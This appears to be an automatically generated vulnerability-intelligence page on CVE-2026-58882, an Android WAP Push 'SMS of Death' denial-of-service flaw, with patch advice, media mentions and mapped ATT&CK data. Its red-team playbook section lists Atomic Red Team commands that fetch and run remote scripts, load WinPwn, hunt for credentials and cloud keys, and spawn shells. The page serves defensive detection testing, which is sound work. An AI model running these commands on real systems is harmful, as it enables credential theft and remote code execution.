CVE-2026-58882
Overview
This vulnerability is an integer overflow leading to an out-of-bounds read in the decodeWapPdu function within the WapPushOverSms.java component of Google Android. The flaw arises from improper validation of input data length during the decoding process of WAP Push over SMS messages, causing memory access beyond allocated bounds. The affected component is responsible for processing incoming WAP Push messages in the Android telephony framework.
Vulnerability Description
In decodeWapPdu of WapPushOverSms.java, there is a possible out of bounds read due to an integer overflow. This could lead to a remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
Impact
An attacker can remotely cause a denial of service on affected Android devices by sending a malicious WAP Push SMS, resulting in application or system crashes without requiring user interaction or authentication. This disruption can affect device availability and telephony functionality, potentially impacting business operations reliant on mobile communications.
Solution
Google recommends applying the security updates provided in the Android Security Bulletin dated 2026-11-01. Users should update affected Google Android devices to the latest available patch level as outlined in the bulletin at https://source.android.com/docs/security/bulletin/2026/2026-11-01. No specific workarounds are noted; timely application of the vendor-supplied update is advised.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Ignema/WapGuard
Tiny Shizuku app that clears stuck 'SMS of Death' (CVE-2026-58882) WAP Push messages. Material 3 Expressive.
|
Ignema | 3 | 0 | 2026-10-31 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
37%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (50)
137 mentions from 104 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @z3usalmighty.bsky.social 2026-11-05 22:40 UTCA separate Critical flaw, CVE-2026-58882, is a remote DoS in WAP Push handling. One malformed SMS crashes com.android.phone and kills active calls. The phone retries on startup. No workaround is listed for devices that can't update yet. #C…Open source
-
social bsky.app @linuxrebel.org 2026-11-05 21:03 UTC#Android #security #zero-day A new zero click Android crash SMS message has been released. Oh joy!.Open source
-
social mastodon.social @linuxmint_hun 2026-11-05 19:26 UTCCW: sebezhetőség, PoC CVE-2026-58882 — egy speciális WAP Push SMS PoC összeomlaszthatja a com.android.phone folyamatot; hívások (akár segélyhívás) megszakadhatnak, egyes eszközök reboot-loopba kerülnek. PoC nyilvános. Google javítás Androi…Open source
-
news techrepublic.com 2026-11-05 17:15 UTCAndroid SMS of Death Flaw: How to Check If Your Phone Is Patched - TechRepublicOpen source
-
social bsky.app @aimainainnu.bsky.social 2026-11-05 09:06 UTCAndroid「SMS of Death」脆弱性、SMS受信だけで通話切断・再起動ループの恐れ CVE-2026-58882をGoogleがCriticalで修正|セキュリティニュースのセキュリティ対策Lab rocket-boys.co.jp/security-mea...Open source
-
social bsky.app @ethnos.gr.web.brid.gy 2026-11-05 03:37 UTCOpen source
-
news t.co 2026-11-04 15:08 UTCGoogle Patches Critical Android Flaw That Could Enable Remote Code Execution Without User Interaction - Howl.LinkOpen source
-
news cyberpress.org 2026-11-04 12:14 UTCGoogle Fixes 208 Android Vulnerabilities, Including Critical Zero-Click RCE Flaws - Cyber PressOpen source
-
news cyberpress.org 2026-11-04 12:14 UTCGoogle Fixes 208 Android Vulnerabilities, Including Critical Zero-Click RCE Flaws - Cyber PressOpen source
-
news securityaffairs.com 2026-11-04 10:47 UTCCVE-2026-58868: Critical Android Bug Could Let Attackers Run Remote Code - Security AffairsOpen source
-
news finance.biggo.com 2026-11-04 08:25 UTCGoogle Ships November Android Patch Bundle: 216 Holes, 23 Critical, One RCE Reachable With No Tap - BigGo FinanceOpen source
-
news thehackernews.com 2026-11-04 07:46 UTCGoogle Issues Patches for Critical Android Flaw That Could Allow RCE Without User Interaction - The Hacker NewsOpen source
-
news online-tech-tips.com 2026-11-04 04:58 UTCNew Android SMS of Death exploit allows remote crash of unpatched phones - Online Tech TipsOpen source
-
social bsky.app @densuke.bsky.social 2026-11-03 23:30 UTC更新されたよ、見に来てね!→ SMS of Death(CVE-2026-58882)は11月の Android Bulletin で Critical、CVE-2026-98432 は Ubuntu では 26.10 だけ配布済みで MPTCP で届くサーバーは約210万台、FreeRDP 3.33 は WebAssembly に対応、Arch の ISO は約323MB 縮小、KDE Linux は NTSYNC を既定に(2026/11/04 Linux・OSSトレン…Open source
-
social bsky.app @securitylab-jp.bsky.social 2026-11-03 22:47 UTCAndroid、11月のセキュリティ更新で216件を修正 23件がCritical、操作不要の遠隔コード実行脆弱性も(CVE-2026-58868、CVE-2026-58876、CVE-2026-58936、CVE-2026-58882) rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
social bsky.app @hatena-bookmark.bsky.social 2026-11-03 22:35 UTC#🔖テクノロジー Android「SMS of Death」脆弱性、SMS受信だけで通話切断・再起動ループの恐れ CVE-2026-58882をGoogleがCriticalで修正|セキュリティニュースのセキュリティ対策Lab Android「SMS of Death」脆弱性、SMS受信だけで通話切断・再起動ループの恐れ CVE-2026-58882をGoogleがCriticalで修正 Androidの電話機能を、細工されたSMSを受信させるだけで停止させる脆弱性「CVE…Open source
-
social bsky.app @tech-trending.bsky.social 2026-11-03 22:33 UTCAndroid「SMS of Death」脆弱性、SMS受信だけで通話切断・再起動ループの恐れ CVE-2026-58882をGoogleがCriticalで修正|セキュリティニュースのセキュリティ対策Lab https://rocket-boys.co.jp/security-measures-lab/android-sms-of-death-cve-2026-58882-zero-click-dos/Open source
-
social bsky.app @elcompilado.com 2026-11-03 22:30 UTC"SMS de la muerte": un WAP Push malformado tira el servicio de telefonía de Android, llamadas de emergencia incluidas, y el código de prueba ya es públicoOpen source
-
social bsky.app @sean-t.bsky.social 2026-11-03 15:32 UTCAndroid「SMS of Death」脆弱性、SMS受信だけで通話切断・再起動ループの恐れ CVE-2026-58882をGoogleがCriticalで修正|セキュリティニュースのセキュリティ対策Lab rocket-boys.co.jp/security-mea...Open source
-
social bsky.app @vanderpollo.bsky.social 2026-11-03 15:24 UTCtutto molto bello www.bleepingcomputer.com/news/securit...Open source
-
social bsky.app @netsecio.bsky.social 2026-11-03 15:03 UTCGoogle & Samsung's November Android update patches 200+ flaws, including a critical zero-click RCE (CVE-2026-58868) and the 'SMS of Death' bug (CVE-2026-58882). Update your devices immediately! #Android #CyberSecurity #PatchTuesday #RCE 🌐…Open source
-
social mastodon.social @115426718704364579 2026-11-03 15:03 UTC📰 Android's November Patch Fixes Critical Zero-Click RCE, 'SMS of Death' Google & Samsung's November Android update patches 200+ flaws, including a critical zero-click RCE (CVE-2026-58868) and the 'SMS of Death' bug (CVE-2026-58882). Updat…Open source
-
social bsky.app @aidoo-noticias.bsky.social 2026-11-03 14:07 UTCCVE-2026-58882: SMS con mensajes WPA pueden tumbar la señal y cortar llamadas en Android sin abrir nada. Parche en Android 14–17; 12/13 dependen del fabricante. #Android #CiberseguridadOpen source
-
news meteoraweb.com 2026-11-03 11:02 UTCAndroid November 2026 patch and SMS of Death flaw - Meteora WebOpen source
-
social bsky.app @pcwelt.de.web.brid.gy 2026-11-03 08:15 UTCOpen source
-
news meteoraweb.com 2026-11-03 07:01 UTCApp Store, two new age descriptors for shared location and dating from November 16 - Meteora WebOpen source
-
social bsky.app @ensonhbr.bsky.social 2026-11-03 06:33 UTCSiber güvenlik araştırmacısı Mark Blaszczyk tarafından fark edilen ve CVE-2026-58882 koduyla izlenen yeni bir güvenlik açığı, Android dünyasında “Ölüm SMS'i” alarmını veriyor; bu tehdit, popüler işletim sistemini kullanan ekosistem için ci…Open source
-
news meteoraweb.com 2026-11-03 06:02 UTCApple, record quarterly results at $114.5 billion - Meteora WebOpen source
-
news hkcert.org 2026-11-03 02:07 UTCSamsung Products Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
news hkcert.org 2026-11-03 02:03 UTCAndroid Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
social bsky.app @netsecio.bsky.social 2026-11-03 01:36 UTCA proof-of-concept for the Android "SMS of Death" flaw (CVE-2026-58882) is now public. The zero-click exploit can remotely crash phones or block cell service via an invisible text. Update your devices now! #Android #MobileSecurity #DoS 🌐 c…Open source
-
social mastodon.social @115426718704364579 2026-11-03 01:35 UTC📰 Android 'SMS of Death' Flaw Allows Zero-Click Remote Device Crash A proof-of-concept for the Android "SMS of Death" flaw (CVE-2026-58882) is now public. The zero-click exploit can remotely crash phones or block cell service via an invisi…Open source
-
news sammyfans.com 2026-11-03 01:35 UTCSamsung’s November 2026 security patch details revealed: 200+ Android and One UI fixes - Sammy FansOpen source
-
social bsky.app @securitylab-jp.bsky.social 2026-11-03 01:32 UTCAndroid「SMS of Death」脆弱性、SMS受信だけで通話切断・再起動ループの恐れ CVE-2026-58882をGoogleがCriticalで修正 rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
news mediasat.info 2026-11-02 22:14 UTCResearcher reveals Android flaw that lets a single SMS drop calls - mediasat.infoOpen source
-
social bsky.app @techbreak.bsky.social 2026-11-02 19:53 UTCSo-called ‘SMS of Death’ can crash Android phones with just one text: what you need to know Follow us Add us as a preferred source on Google Newsletter Subscribe to our newsletter Late last week, a report surfaced about a new Android phone…Open source
-
social bsky.app @nanobytes24.bsky.social 2026-11-02 19:53 UTCSo-called ‘SMS of Death’ can crash Android phones with just one text: what you need to know Follow us Add us as a preferred source on Google Newsletter Subscribe to our newsletter Late last week, a report surfaced about a new Android phone…Open source
-
news meteoraweb.com 2026-11-02 19:22 UTCGoogle Takes Down XCPE Botnet on Android TV Boxes - Meteora WebOpen source
-
news tech.yahoo.com 2026-11-02 19:12 UTCSo-called 'SMS of Death' can crash Android phones with just a text: what you need to know - Yahoo TechOpen source
-
news inkorr.com 2026-11-02 19:12 UTCGoogle Fixes Android SMS of Death Flaw in Versions 14–17, Leaving 12–13 Exposed - InkorrOpen source
-
news inkorr.com 2026-11-02 19:12 UTCGoogle Fixes Android SMS of Death Flaw in Versions 14–17, Leaving 12–13 Exposed - InkorrOpen source
-
news meteoraweb.com 2026-11-02 17:52 UTCApple, John Ternus at his first quarterly results as CEO on November 2 - Meteora WebOpen source
-
social bsky.app @thenewoil.org 2026-11-02 16:30 UTCNew #Android #SMSofDeath exploit can remotely crash unpatched phones https://www.bleepingcomputer.com/news/security/new-android-sms-of-death-exploit-can-remotely-crash-unpatched-phones/ #cybersecurityOpen source
-
news technetbooks.com 2026-11-02 16:26 UTCAndroid Zero Click Flaw Crashes Telephony Services via Silent SMS - TechnetbookOpen source
-
news tbreak.com 2026-11-02 15:46 UTCAndroid “SMS of Death” flaw crashes phones with one hidden text - tbreak.comOpen source
-
news pasqualepillitteri.it 2026-11-02 14:56 UTCSMS of Death bug crashes Android with an 8-byte SMS - Pasquale PillitteriOpen source
-
social bsky.app @ercanceviz.bsky.social 2026-11-02 14:43 UTCTek SMS ile Android telefonu çökerten açık SMS of Death açığı olarak adlandırılan CVE-2026-58882, özel hazırlanmış tek bir mesajla Android telefonları çökertebiliyor. Açık Ekim 2026 güvenlik yamasıyla kapatıldı.Open source
-
news androidheadlines.com 2026-11-02 12:58 UTC'SMS of Death' Android Exploit Can Crash Your Phone With One Text Message - Android HeadlinesOpen source
-
news pakobserver.net 2026-11-02 11:36 UTCAlert for Google Pixel, Samsung Users as New Cyberattack can hit without Any Notification - Pakistan ObserverOpen source
-
social bsky.app @cybercalm.org 2026-11-02 11:11 UTCОдне спеціально сформоване SMS, якого власник смартфона навіть не побачить, здатне обірвати телефонну розмову і спричинити повторювані збої. Вразливість, яку її першовідкривач назвав SMS of Death, присутня в коді Android починаючи з 12-ї в…Open source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-58882 |
| source.android.com |
GitHub CVE
|
https://source.android.com/docs/security/bulletin/2026/2026-11-01 |